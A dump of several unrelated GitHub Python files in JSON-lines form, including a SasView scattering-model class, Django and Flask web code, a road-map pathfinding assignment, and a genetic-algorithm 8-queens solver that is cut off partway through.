catalog.views.index,\n}\n","repo_name":"ngs/hackathon-jp","sub_path":"Wave20091127/TranslationTeam/translate-in-wave/catalog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"11518404494","text":"from sas.models.BaseComponent import BaseComponent\nfrom sas.models.sans_extension.c_models import CFlexCylEllipXModel\n\ndef create_FlexCylEllipXModel():\n \"\"\"\n Create a model instance\n \"\"\"\n obj = FlexCylEllipXModel()\n # CFlexCylEllipXModel.__init__(obj) is called by\n # the FlexCylEllipXModel constructor\n return obj\n\nclass FlexCylEllipXModel(CFlexCylEllipXModel, BaseComponent):\n \"\"\" \n Class that evaluates a FlexCylEllipXModel model. \n This file was auto-generated from src/sas/models/include/flexcyl_ellipX.h.\n Refer to that file and the structure it contains\n for details of the model.\n \n List of default parameters:\n\n * scale = 1.0 \n * length = 1000.0 [A]\n * kuhn_length = 100.0 [A]\n * radius = 20.0 [A]\n * axis_ratio = 1.5 \n * sldCyl = 1e-06 [1/A^(2)]\n * sldSolv = 6.3e-06 [1/A^(2)]\n * background = 0.0001 [1/cm]\n\n \"\"\"\n \n def __init__(self, multfactor=1):\n \"\"\" Initialization \"\"\"\n self.__dict__ = {}\n \n # Initialize BaseComponent first, then sphere\n BaseComponent.__init__(self)\n #apply(CFlexCylEllipXModel.__init__, (self,)) \n\n CFlexCylEllipXModel.__init__(self)\n self.is_multifunc = False\n\t\t \n ## Name of the model\n self.name = \"FlexCylEllipXModel\"\n ## Model description\n self.description = \"\"\"\n Note : scale and contrast=sldCyl-sldSolv are both multiplicative factors in the\n\t\tmodel and are perfectly correlated. One or\n\t\tboth of these parameters must be held fixed\n\t\tduring model fitting.\n \"\"\"\n \n ## Parameter details [units, min, max]\n self.details = {}\n self.details['scale'] = ['', None, None]\n self.details['length'] = ['[A]', None, None]\n self.details['kuhn_length'] = ['[A]', None, None]\n self.details['radius'] = ['[A]', None, None]\n self.details['axis_ratio'] = ['', None, None]\n self.details['sldCyl'] = ['[1/A^(2)]', None, None]\n self.details['sldSolv'] = ['[1/A^(2)]', None, None]\n self.details['background'] = ['[1/cm]', None, None]\n\n ## fittable parameters\n self.fixed = ['length.width',\n 'kuhn_length.width',\n 'radius.width',\n 'axis_ratio.width']\n \n ## non-fittable parameters\n self.non_fittable = []\n \n ## parameters with orientation\n self.orientation_params = []\n\n ## parameters with magnetism\n self.magnetic_params = []\n\n self.category = None\n self.multiplicity_info = None\n \n def __setstate__(self, state):\n \"\"\"\n restore the state of a model from pickle\n \"\"\"\n self.__dict__, self.params, self.dispersion = state\n \n def __reduce_ex__(self, proto):\n \"\"\"\n Overwrite the __reduce_ex__ of PyTypeObject *type call in the init of \n c model.\n \"\"\"\n state = (self.__dict__, self.params, self.dispersion)\n return (create_FlexCylEllipXModel, tuple(), state, None, None)\n \n def clone(self):\n \"\"\" Return a identical copy of self \"\"\"\n return self._clone(FlexCylEllipXModel()) \n \t\n def run(self, x=0.0):\n \"\"\" \n Evaluate the model\n \n :param x: input q, or [q,phi]\n \n :return: scattering function P(q)\n \n \"\"\"\n return CFlexCylEllipXModel.run(self, x)\n \n def runXY(self, x=0.0):\n \"\"\" \n Evaluate the model in cartesian coordinates\n \n :param x: input q, or [qx, qy]\n \n :return: scattering function P(q)\n \n \"\"\"\n return CFlexCylEllipXModel.runXY(self, x)\n \n def evalDistribution(self, x):\n \"\"\" \n Evaluate the model in cartesian coordinates\n \n :param x: input q[], or [qx[], qy[]]\n \n :return: scattering function P(q[])\n \n \"\"\"\n return CFlexCylEllipXModel.evalDistribution(self, x)\n \n def calculate_ER(self):\n \"\"\" \n Calculate the effective radius for P(q)*S(q)\n \n :return: the value of the effective radius\n \n \"\"\" \n return CFlexCylEllipXModel.calculate_ER(self)\n \n def calculate_VR(self):\n \"\"\" \n Calculate the volf ratio for P(q)*S(q)\n \n :return: the value of the volf ratio\n \n \"\"\" \n return CFlexCylEllipXModel.calculate_VR(self)\n \n def set_dispersion(self, parameter, dispersion):\n \"\"\"\n Set the dispersion object for a model parameter\n \n :param parameter: name of the parameter [string]\n :param dispersion: dispersion object of type DispersionModel\n \n \"\"\"\n return CFlexCylEllipXModel.set_dispersion(self,\n parameter, dispersion.cdisp)\n \n \n# End of file\n\n","repo_name":"ricleal/SasModeling","sub_path":"src/sas/models/FlexCylEllipXModel.py","file_name":"FlexCylEllipXModel.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"16623249627","text":"import datetime\nfrom datetime import timedelta\nfrom apps.author.models import *\n\n\nclass ReservationMiddleware:\n\n def __init__(self, get_response):\n self.get_response = get_response\n\n def __call__(self, request):\n # print(\"request: \", request)\n response = self.get_response(request)\n # print(\"response: \", response)\n\n return response\n\n def process_view(self, request, view_func, view_args, view_kwargs):\n if request.user.is_authenticated:\n # print(\"logged\")\n current_date = datetime.date.today()\n \n reservations = Reservation.objects.filter(state = True, user = request.user)\n\n for reservation in reservations:\n expiration_date = reservation.creation_date + timedelta(days = 7)\n # print(\"current_date: \", current_date)\n # print(\"expiration_date: \", expiration_date)\n \n if current_date > expiration_date:\n reservation.state = False\n reservation.save()\n","repo_name":"SantiagoEsquivelHub/Django_Library","sub_path":"apps/user/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"1778075893","text":"import uuid\n\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom common.queries import ( \n CREATE_PERSON,\n WORKS_IN_RELATION,\n GET_ACTORS,\n GET_DIRECTOR\n)\n\n\nclass AddPerson(Resource):\n \n def __init__(self, database_driver):\n self.database_driver = database_driver\n\n def post(self):\n data = request.get_json()\n id = data.get('movie_id')\n name = data.get('name')\n role = data.get('role')\n person_id = str(uuid.uuid4())\n entries = {'person_id': person_id, 'name':name, 'role': role}\n relation_entries ={'person_id': person_id, 'id': id}\n # if not authorize(token, self.database_driver):\n # return ({'status': 'You aren\\'t authorized to access this resource.', 'token': token}, 400)\n with self.database_driver.session() as session:\n session.run(CREATE_PERSON, entries)\n session.run(WORKS_IN_RELATION, relation_entries)\n return ({'status': 'Movie has been succesfully added.'}, 200)\n\n\nclass GetActor(Resource):\n def __init__(self, database_driver):\n self.database_driver = database_driver\n\n def post(self):\n data = request.get_json()\n id = int(data.get('id'))\n entries = {'id': id}\n with self.database_driver.session() as session:\n results = session.run(GET_ACTORS, entries).single()[0]\n if not results:\n return ({'status': 'Could not fetch information at the moment'}, 400)\n resultList = {}\n resultList['name1'] = results[0]['name']\n resultList['person_id1'] = results[0]['person_id']\n resultList['name2'] = results[1]['name']\n resultList['person_id2'] = results[0]['person_id']\n print(resultList)\n return ({'status': 'The data has been fetched', 'data': resultList}, 200)\n\n\nclass GetDirector(Resource):\n def __init__(self, database_driver):\n self.database_driver = database_driver\n\n def post(self):\n data = request.get_json()\n id = int(data.get('id'))\n entries = {'id': id}\n with self.database_driver.session() as session:\n result = session.run(GET_DIRECTOR, entries).single()\n resultList = {}\n resultList['name'] = result[0]\n resultList['person_id'] = result[1]\n print(resultList)\n if not result:\n return ({'status': 'The data could not be fetched'}, 400)\n return ({'status': 'The data has been fetched', 'data': result}, 200)\n\n","repo_name":"Diptonil/imgdb","sub_path":"backend/resources/makers.py","file_name":"makers.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"39745037031","text":"#!/usr/bin/python3\ndef weight_average(my_list=[]):\n score_sum = 0\n weight_sum = 0\n for score, weight in my_list:\n score_sum += score * weight\n weight_sum += weight\n if weight_sum == 0:\n return 0\n weighted_average = score_sum / weight_sum\n return weighted_average\n","repo_name":"tantohtelmah/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/100-weight_average.py","file_name":"100-weight_average.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"14207678126","text":"# define func\ndef hello(n, output = True):\n \"\"\"Prints hello world n-times\"\"\"\n\n # if output is true\n if output is True:\n # Loop\n for i in range(n):\n # print string\n print(\"Hello World Loop style\", i+1 )\n else:\n print(\"Output = False\")\n\n# Call hello\nhello(4, output = True)","repo_name":"mmosqueiro/Python","sub_path":"HelloWorld/helloworld_loop.py","file_name":"helloworld_loop.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24741336066","text":"import sys\nimport heapq\nimport math\nimport re\nimport os\nimport operator\n\n# For clarity of concepts referenced Wikipedia, CSharpCorner, and Notes provided in the class\n# Being a new Learner in Python, coding concepts have been learnt from various online Python tutorial.\n\n# Variables to be used in the program\n\n#search_type = str(sys.argv[1])\n\n#source = str(sys.argv[2])\n\n#dest = str(sys.argv[1])\n\n# defining two lists to save paths and Latitude n Longitude values\nLatLong = [[0 for x in range(3)] for y in range(112)]\n\npaths = [[0 for x in range(3)] for y in range(244)]\n\n# Function to compare the heuristic values of 2 elements\ndef cmp(val1, val2):\n if val1 < val2:\n return val1\n else:\n return val2\n\n# function to read the data out of the files\ndef file_read(filename1, filename2):\n file_object = open(filename1, 'r')\n file_object1 = open(filename2, 'r')\n i = 0\n\n for line in file_object:\n m = [str(s) for s in line.split()]\n LatLong[i][0] = m[0]\n LatLong[i][1] = m[1]\n LatLong[i][2] = m[2]\n i += 1\n\n j = 0\n for line in file_object1:\n k = [str(s) for s in line.split()]\n paths[j][0], paths[j][1], paths[j][2] = k[0], k[1], k[2]\n paths[j + 1][0], paths[j + 1][1], paths[j + 1][2] = k[1], k[0], k[2]\n j += 2\n return LatLong, paths\n\n# Class for Priority Queue\nclass PriorityQ:\n def __init__(self):\n self.elements = []\n\n def isEmpty(self):\n if len(self.elements) == 0:\n return True\n else:\n return False\n\n def empty(self):\n return len(self.elements) == 0\n\n def push(self, place1, priority):\n heapq.heappush(self.elements, (priority, place1))\n\n def pop(self):\n return heapq.heappop(self.elements)[1]\n\n# Class for Node\nclass Node:\n def __init__(self, node):\n self.id = node\n self.adjacent = {}\n\n def __str__(self):\n return str([x.id for x in self.adjacent])\n\n def add_neighbor(self, neighbor, weight=0):\n self.adjacent[neighbor] = weight\n\n def get_AdjacentKeys(self):\n return self.adjacent.keys()\n\n def get_id(self):\n return self.id\n\n def get_weight(self, neighbor):\n return self.adjacent[neighbor]\n\n# Graph Class\nclass Graph:\n def __init__(self):\n self.vert_dict = {}\n self.num_vertices = 0\n\n def neighbors(self,id):\n return self.vert_dict[id]\n\n def add_Edge(self, frm, to, cost=0):\n if frm not in self.vert_dict:\n self.add_Node(frm)\n if to not in self.vert_dict:\n self.add_Node(to)\n\n self.vert_dict[frm].add_neighbor(self.vert_dict[to], cost)\n self.vert_dict[to].add_neighbor(self.vert_dict[frm], cost)\n\n def __iter__(self):\n return iter(self.vert_dict.values())\n\n def add_Node(self, node):\n self.num_vertices = self.num_vertices + 1\n new_vertex = Node(node)\n self.vert_dict[node] = new_vertex\n return new_vertex\n\n def get_Node(self, n):\n if n in self.vert_dict:\n return self.vert_dict[n]\n else:\n return None\n\n def get_Nodes(self):\n return self.vert_dict.keys()\n\n def cost(self, val1, val2, g):\n dis = 0\n for v in g:\n for w in v.get_AdjacentKeys():\n vid = v.get_id()\n wid = w.get_id()\n if vid == val1:\n if wid == val2:\n dis = v.get_weight(w)\n return dis\n\n#initializing the Graph with the values of the distance between the roads\n\ndef initialize_Graph():\n g = Graph()\n for i in LatLong:\n g.add_Node(i[0])\n for j in paths:\n g.add_Edge(j[0], j[1], int(j[2]))\n return g\n\nLatLong,paths = file_read(os.getcwd() + '/places.txt', os.getcwd() + '/roads.txt')\n\ng = initialize_Graph()\n\ndef fn(g,x):\n min = 1000\n z = ''\n for v in g:\n for w in v.get_AdjacentKeys():\n vid = v.get_id()\n wid = w.get_id()\n if vid == x:\n if min > v.get_weight(w):\n min = v.get_weight(w)\n z = wid\n print('( %s , %s, %3d)' % ( x, z, min))\n\ndef fn1(g,x):\n min = 1000\n z = ''\n for v in g:\n for w in v.get_AdjacentKeys():\n vid = v.get_id()\n wid = w.get_id()\n if vid == x:\n if min > v.get_weight(w):\n min = v.get_weight(w)\n z = wid\n print('( %s , %s, %3d)' % ( vid, z, v.get_weight(w)))\n\n for v in g:\n print('g.vert_dict[%s]=%s' % (v.get_id(), g.vert_dict[v.get_id()]))\n\n\n\n# Heuristic function for A-Star Algorithm\n\ndef heuristic(a, b):\n i = 0\n latA, latB, longA, longB = 0.0, 0.0, 0.0 , 0.0\n\n while i < len(LatLong):\n if a == LatLong[i][0]:\n latA = LatLong[i][1]\n longA = LatLong[i][2]\n if b == LatLong[i][0]:\n latB = LatLong[i][1]\n longB = LatLong[i][2]\n i += 1\n\n pi = 3.141593\n\n lat = (float(latA) - float(latB))\n long = math.cos((float(latA) + float(latB)) / 360 * pi) * (float(longA) - float(longB))\n dist = (lat * lat + long * long) ** (1 / 2)\n\n return dist * 69.5 # Converting into miles\n\ndef recon(start, goal, parent):\n current = goal\n path = [current]\n while current != start:\n current = parent[current]\n path.append(current)\n path.reverse() # optional\n return path\n\n# Function to compute A-Star Search Algorithm\n\ndef algoRun(algo,gr, start, goal):\n front = PriorityQ()\n front.push(start, 0 + heuristic(goal, start))\n\n parent_Set = {}\n cost = {}\n parent_Set[start] = None\n cost[start] = 0\n\n finalpath = []\n\n while not front.empty():\n current = front.pop()\n\n if current == goal:\n break\n grph1 = []\n for v in gr:\n if v.get_id() == current:\n findv = re.compile('\\w+').findall(str(gr.vert_dict[v.get_id()]))\n for w in findv:\n vid = v.get_id()\n wid = w\n if vid == current:\n grph1.append(wid)\n\n finalpath.append(current)\n i = 0\n\n while i in range(len(grph1)):\n next = grph1[i]\n new_cost = cost[current] + gr.cost(current, next, gr)\n # A-Star Search Algorithm\n if algo == 'astar':\n if next not in cost or new_cost < cost[next]:\n cost[next] = new_cost\n priority = new_cost + heuristic(goal, next)\n front.push(next, priority)\n parent_Set[next] = current\n elif next in cost:\n if new_cost < cost[next]:\n cost[next] = new_cost\n priority = new_cost + heuristic(goal, next)\n front.push(next, priority)\n parent_Set[next] = current\n # Uniform Search Algorithm\n elif algo == 'uniform':\n if next not in cost or new_cost < cost[next]:\n cost[next] = new_cost\n priority = new_cost\n front.push(next, priority)\n parent_Set[next] = current\n elif next in cost:\n if new_cost < cost[next]:\n cost[next] = new_cost\n priority = new_cost\n front.push(next, priority)\n parent_Set[next] = current\n # Greedy Search Algorithm\n elif algo == 'greedy':\n if next not in cost or new_cost < cost[next]:\n cost[next] = new_cost\n priority = heuristic(goal, next)\n front.push(next, priority)\n parent_Set[next] = current\n elif next in cost:\n if new_cost < cost[next]:\n cost[next] = new_cost\n priority = heuristic(goal, next)\n front.push(next, priority)\n parent_Set[next] = current\n i += 1\n\n cost1 = ''\n if goal in cost:\n cost1 = 'Total Cost to reach: ' + str(cost[goal])\n finalpath.append(goal)\n\n #x = sorted(cost_so_far.items(), key=operator.itemgetter(1))\n node_exp = 'Number of nodes:' + str(len(finalpath))\n\n solpath = recon(start,goal,parent_Set)\n\n sol_node_num = 'Number of nodes in solution path:' + str(len(solpath))\n\n return finalpath, node_exp, solpath, sol_node_num, cost1\n","repo_name":"intellectape/PythonScripts","sub_path":"RoadsUSA/A_Star.py","file_name":"A_Star.py","file_ext":"py","file_size_in_byte":9128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"44767334356","text":"import random\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nimport requests\r\n\r\n\r\n\r\n\r\n# Initial Iterations\r\n\r\ndef display(Board):\r\n linestring = \"\"\r\n x = 0\r\n y = 0\r\n while( x < 8):\r\n print(\"_________________\")\r\n linestring = \"|\"\r\n while( y < 8):\r\n if(Board[x][y] == 0):\r\n linestring = linestring+\" |\"\r\n elif(Board[x][y] == 1):\r\n linestring = linestring+\"Q|\"\r\n y = y + 1\r\n print(linestring)\r\n y = 0\r\n x = x + 1\r\n print(\"_________________\")\r\n\r\ndef reformat(Board):\r\n # Board = [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]]\r\n newBoard = []\r\n z = 0\r\n q = 0\r\n for index in Board:\r\n for x in index:\r\n\r\n if(Board[q][z] == 1):\r\n newBoard.append(z)\r\n z = z + 1\r\n\r\n if(z == 8):\r\n z = 0\r\n q = q + 1\r\n\r\n return(newBoard)\r\n\r\nclass Iteration:\r\n \r\n # Initialize empy board\r\n def __init__(self, Board, Score):\r\n self.Board = Board\r\n self.Score = Score\r\n # self.score = score\r\n\r\n def plotboard(self):\r\n\r\n queen1 = []\r\n queen2 = []\r\n queen3 = []\r\n queen4 = []\r\n queen5 = []\r\n queen6 = []\r\n queen7 = []\r\n queen8 = []\r\n queens = [queen1,queen2,queen3,queen4,queen5,queen6,queen7,queen8]\r\n Board = [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]]\r\n\r\n for each in queens:\r\n\r\n x = random.randrange(0,8)\r\n y = random.randrange(0,8)\r\n # print(\"X: \",x)\r\n # print(\"Y: \", y)\r\n each.append(x)\r\n each.append(y)\r\n\r\n for each in queens:\r\n\r\n YCord = each[0]\r\n XCord = each[1]\r\n\r\n if(Board[XCord][YCord] != 1):\r\n Board[XCord][YCord] = 1\r\n else:\r\n # If 2 have the same coordinate, call again\r\n while(Board[XCord][YCord] == 1):\r\n YCord = random.randrange(0,8)\r\n XCord = random.randrange(0,8)\r\n if(Board[XCord][YCord] == 1):\r\n pass\r\n else:\r\n Board[XCord][YCord] = 1\r\n break\r\n\r\n self.Board = Board\r\n return (self.Board) \r\n\r\n def scoreBoard(self):\r\n # Score = 0 - 64\r\n # 0 all collide\r\n # 64 is a solved puzzle\r\n temScore = 0\r\n indexX = 0\r\n indexY = 0\r\n col1 = 0\r\n col2 = 0 \r\n col3 = 0\r\n col4 = 0\r\n\r\n for x in self.Board: \r\n for y in self.Board:\r\n # print(self.Board[indexX][indexY])\r\n\r\n # If the Board has a Queen at this X,Y position, then score it.\r\n if(self.Board[indexY][indexX] == 1):\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n # Check X Left\r\n # X coordinate in not against wall\r\n if(indexX != 0 ):\r\n while(cIndexX != 0):\r\n cIndexX = cIndexX -1\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n break\r\n \r\n elif(cIndexX == 0 & self.Board[cIndexY][cIndexX] != 1):\r\n temScore = temScore + 1\r\n\r\n # X coordinate is aginst the wall\r\n else:\r\n temScore = temScore+1 \r\n # Check X Right\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n # Check X Left\r\n # X coordinate in not against wall\r\n if(indexX != 7 ):\r\n while(cIndexX != 7):\r\n cIndexX = cIndexX +1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n break\r\n \r\n if(cIndexX == 7):\r\n if(self.Board[cIndexY][cIndexX] == 0):\r\n temScore = temScore + 1\r\n else:\r\n break\r\n\r\n # X coordinate is aginst the wall\r\n else:\r\n temScore = temScore+1\r\n # Check Y Up\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n\r\n # Y coordinate in not against wall\r\n if(indexY != 0 ):\r\n while(cIndexY != 0):\r\n cIndexY = cIndexY -1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n break\r\n \r\n if(cIndexY == 0):\r\n if(self.Board[cIndexY][cIndexX] == 0):\r\n temScore = temScore + 1\r\n else:\r\n break\r\n\r\n # X coordinate is aginst the wall\r\n else:\r\n temScore = temScore+1\r\n # Check Y Down\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n\r\n # Y coordinate in not against wall\r\n if(indexY != 7 ):\r\n while(cIndexY != 7):\r\n cIndexY = cIndexY +1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n break\r\n \r\n if(cIndexY == 7):\r\n if(self.Board[cIndexY][cIndexX] == 0):\r\n \r\n temScore = temScore + 1\r\n else:\r\n break\r\n\r\n # X coordinate is aginst the wall\r\n else:\r\n temScore = temScore+1\r\n\r\n # Check Diagonal ( X + 1) & ( Y + 1) ( To bottom right )\r\n cIndexX = indexX\r\n cIndexY = indexY \r\n\r\n if(indexY != 7 and cIndexX != 7):\r\n while(cIndexY != 7 and cIndexX !=7):\r\n cIndexY = cIndexY +1\r\n cIndexX = cIndexX +1\r\n\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n col1 = col1 + 1\r\n break\r\n \r\n # X or Y coordinate is aginst the wall\r\n else:\r\n pass\r\n\r\n # Check Diagonal ( X + 1) & ( Y - 1)\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n \r\n if(indexY != 0 and cIndexX != 7):\r\n while(cIndexY != 0 and cIndexX !=7):\r\n cIndexY = cIndexY -1\r\n cIndexX = cIndexX +1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n col2 = col2 + 1\r\n break\r\n \r\n # X or Y coordinate is aginst the wall\r\n else:\r\n pass\r\n # Check Diagonal ( X - 1) & ( Y + 1)\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n \r\n if(indexY != 7 and cIndexX != 0):\r\n while(cIndexY != 7 and cIndexX !=0):\r\n cIndexY = cIndexY + 1\r\n cIndexX = cIndexX - 1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n col3 = col3 + 1\r\n break\r\n \r\n # X or Y coordinate is aginst the wall\r\n else:\r\n pass\r\n # Check Diagonal ( X - 1) & ( Y - 1)\r\n cIndexX = indexX\r\n cIndexY = indexY\r\n \r\n if(indexY != 0 and cIndexX != 0):\r\n while(cIndexY != 0 and cIndexX !=0):\r\n cIndexY = cIndexY - 1\r\n cIndexX = cIndexX - 1\r\n\r\n if(self.Board[cIndexY][cIndexX] == 1):\r\n col4 = col4 + 1\r\n break\r\n \r\n # X or Y coordinate is aginst the wall\r\n else:\r\n pass\r\n\r\n indexY = indexY+1\r\n if(indexY == 8):\r\n indexY = 0\r\n \r\n indexX = indexX+1\r\n col1 = 8 - col1\r\n col2 = 8 - col2\r\n col3 = 8 - col3\r\n col4 = 8 - col4\r\n # Add scores\r\n temScore = temScore +col1+col2+col3+col4 \r\n self.Score = temScore\r\n return(self.Score)\r\n \r\ndef CrossMutate(board1, board2):\r\n\r\n newBoard = [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]]\r\n x1 = 0\r\n y1 = 0\r\n aListx = []\r\n aListy = []\r\n bListx = []\r\n bListy = []\r\n\r\n # Combine Top Instances\r\n for x in board1: \r\n for each in x:\r\n if(each == 1):\r\n aListx.append(x1)\r\n aListy.append(y1)\r\n \r\n y1 = y1 + 1\r\n if(y1 == 8):\r\n y1 = 0\r\n x1 = x1 + 1\r\n\r\n x2 = 0\r\n y2 = 0\r\n # Combine Top Instances\r\n for x in board2: \r\n for each in x:\r\n if(each == 1):\r\n bListx.append(x2)\r\n bListy.append(y2)\r\n y2 = y2 + 1\r\n if(y2 == 8):\r\n y2 = 0\r\n x2 = x2 + 1\r\n\r\n # Build new board\r\n # 50/50 split ( Randomize Split locations)\r\n randSplit = random.sample(range(0, 8), 8)\r\n index = 0\r\n newXCords = []\r\n newYCords = []\r\n\r\n for x in randSplit:\r\n #print(x)\r\n if(index < 4): \r\n newXCords.append(aListx[x])\r\n newYCords.append(aListy[x])\r\n index = index + 1\r\n \r\n if(index >= 4 and index < 8):\r\n newXCords.append(bListx[x])\r\n newYCords.append(bListy[x]) \r\n index = index + 1\r\n \r\n if(index == 8):\r\n index = 8\r\n break\r\n\r\n # Map Coordinates to board\r\n index = 0\r\n for each in newXCords:\r\n x1 = newXCords[index]\r\n y1 = newYCords[index]\r\n\r\n if(newBoard[x1][y1] != 1):\r\n newBoard[x1][y1] = 1\r\n\r\n # Mutate if two of the same spots\r\n else:\r\n while(newBoard[x1][y1] == 1):\r\n x1 = random.randrange(0,8)\r\n y1 = random.randrange(0,8)\r\n if(newBoard[x1][y1] == 1):\r\n pass\r\n else:\r\n newBoard[x1][y1] = 1\r\n break\r\n\r\n index = index + 1\r\n if(index == 8 ):\r\n break\r\n\r\n # Add Random chance to Mutate a random element \r\n mutateRate = random.randrange(0,99)\r\n # 10% for now\r\n Q = True\r\n T = True\r\n if(mutateRate < 9):\r\n # TODO Replace Random 1 with 0\r\n while(Q == True):\r\n randomX = random.randrange(0,8)\r\n randomY = random.randrange(0,8)\r\n \r\n if(newBoard[randomX][randomY] == 1):\r\n newBoard[randomX][randomY] = 0\r\n while(T == True):\r\n x1 = random.randrange(0,8)\r\n y1 = random.randrange(0,8)\r\n if(newBoard[x1][y1] == 1):\r\n # newBoard[x1][y1] = 1\r\n pass\r\n else:\r\n newBoard[x1][y1] = 1\r\n T = False\r\n Q = False \r\n else:\r\n pass\r\n # Input in Random 1 value\r\n return(newBoard)\r\n\r\ndef main():\r\n # Initial empty state of board\r\n Board = [[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0]]\r\n # topscore = 0\r\n # while(topscore != 64):\r\n\r\n epoch = 1\r\n force_mutate = 0 # Needed if it gets stuck at local minima\r\n hard_force = 0 # Odds both of complete mutations (Both Parents)\r\n\r\n # Initialize the population ( Population = 4 )\r\n It1 = Iteration(Board, 0)\r\n It1.plotboard()\r\n It2 = Iteration(Board, 0)\r\n It2.plotboard()\r\n It3 = Iteration(Board, 0)\r\n It3.plotboard()\r\n It4 = Iteration(Board, 0)\r\n It4.plotboard()\r\n # Score the initial population\r\n score1 = It1.scoreBoard()\r\n score2 = It2.scoreBoard()\r\n score3 = It3.scoreBoard()\r\n score4 = It4.scoreBoard()\r\n\r\n scorelist = [score1,score2,score3,score4]\r\n\r\n # Find top 2 members of population\r\n top_score = max(scorelist)\r\n top_index = scorelist.index(top_score)\r\n scorelist[top_index] = 0\r\n top_score2 = max(scorelist)\r\n top_index2 = scorelist.index(top_score2)\r\n scorelist[top_index2] = 0\r\n top2 = [top_index, top_index2]\r\n\r\n # Cross and Mutate top 2\r\n\r\n if(top2[0] == 0):\r\n # Iteration 1 is top\r\n if(top2[1] == 1):\r\n ChildBoard = CrossMutate(It1.Board, It2.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n\r\n if(top2[1] == 2):\r\n ChildBoard = CrossMutate(It1.Board, It3.Board)\r\n ItCT = Iteration(It3.Board,0)\r\n \r\n if(top2[1] == 3):\r\n ChildBoard = CrossMutate(It1.Board, It4.Board)\r\n ItCT = Iteration(It4.Board,0)\r\n \r\n if(top2[0] == 1):\r\n # Iteration 2 is top\r\n if(top2[1] == 0):\r\n ChildBoard = CrossMutate(It2.Board, It1.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n\r\n if(top2[1] == 2):\r\n ChildBoard = CrossMutate(It2.Board, It3.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n\r\n if(top2[1] == 3):\r\n ChildBoard = CrossMutate(It2.Board, It4.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n\r\n if(top2[0] == 2):\r\n # Iteration 3 is top\r\n if(top2[1] == 0):\r\n\r\n ChildBoard = CrossMutate(It3.Board, It1.Board)\r\n ItCT = Iteration(It1.Board,0)\r\n if(top2[1] == 1):\r\n ChildBoard = CrossMutate(It3.Board, It2.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n if(top2[1] == 3):\r\n ChildBoard = CrossMutate(It3.Board, It4.Board)\r\n ItCT = Iteration(It4.Board,0)\r\n\r\n if(top2[0] == 3):\r\n # Iteration 4 is top\r\n\r\n if(top2[1] == 0):\r\n ChildBoard = CrossMutate(It4.Board, It1.Board)\r\n ItCT = Iteration(It1.Board,0)\r\n if(top2[1] == 1):\r\n ChildBoard = CrossMutate(It4.Board, It2.Board)\r\n ItCT = Iteration(It2.Board,0)\r\n if(top2[1] == 2):\r\n ChildBoard = CrossMutate(It4.Board, It3.Board)\r\n ItCT = Iteration(It3.Board,0)\r\n \r\n # Score Child Board \r\n ItC = Iteration(ChildBoard, 0)\r\n scoreC = ItC.scoreBoard()\r\n\r\n # Win condition and future modifications\r\n while(True):\r\n if(scoreC == 64):\r\n # This is a pattern\r\n print(\"A solution has been found: \")\r\n break\r\n else:\r\n epoch = epoch + 1\r\n # Number of iterations\r\n print(\"Epoch: \", epoch)\r\n ItList = []\r\n\r\n # 4 Children created\r\n nextChildBoard1 = CrossMutate(ItC.Board, ItCT.Board)\r\n ItC1 = Iteration(nextChildBoard1, 0)\r\n\r\n\r\n ItList.append(ItC1)\r\n\r\n nextChildBoard2 = CrossMutate(ItC.Board, ItCT.Board)\r\n ItC2 = Iteration(nextChildBoard2, 0)\r\n\r\n ItList.append(ItC2)\r\n 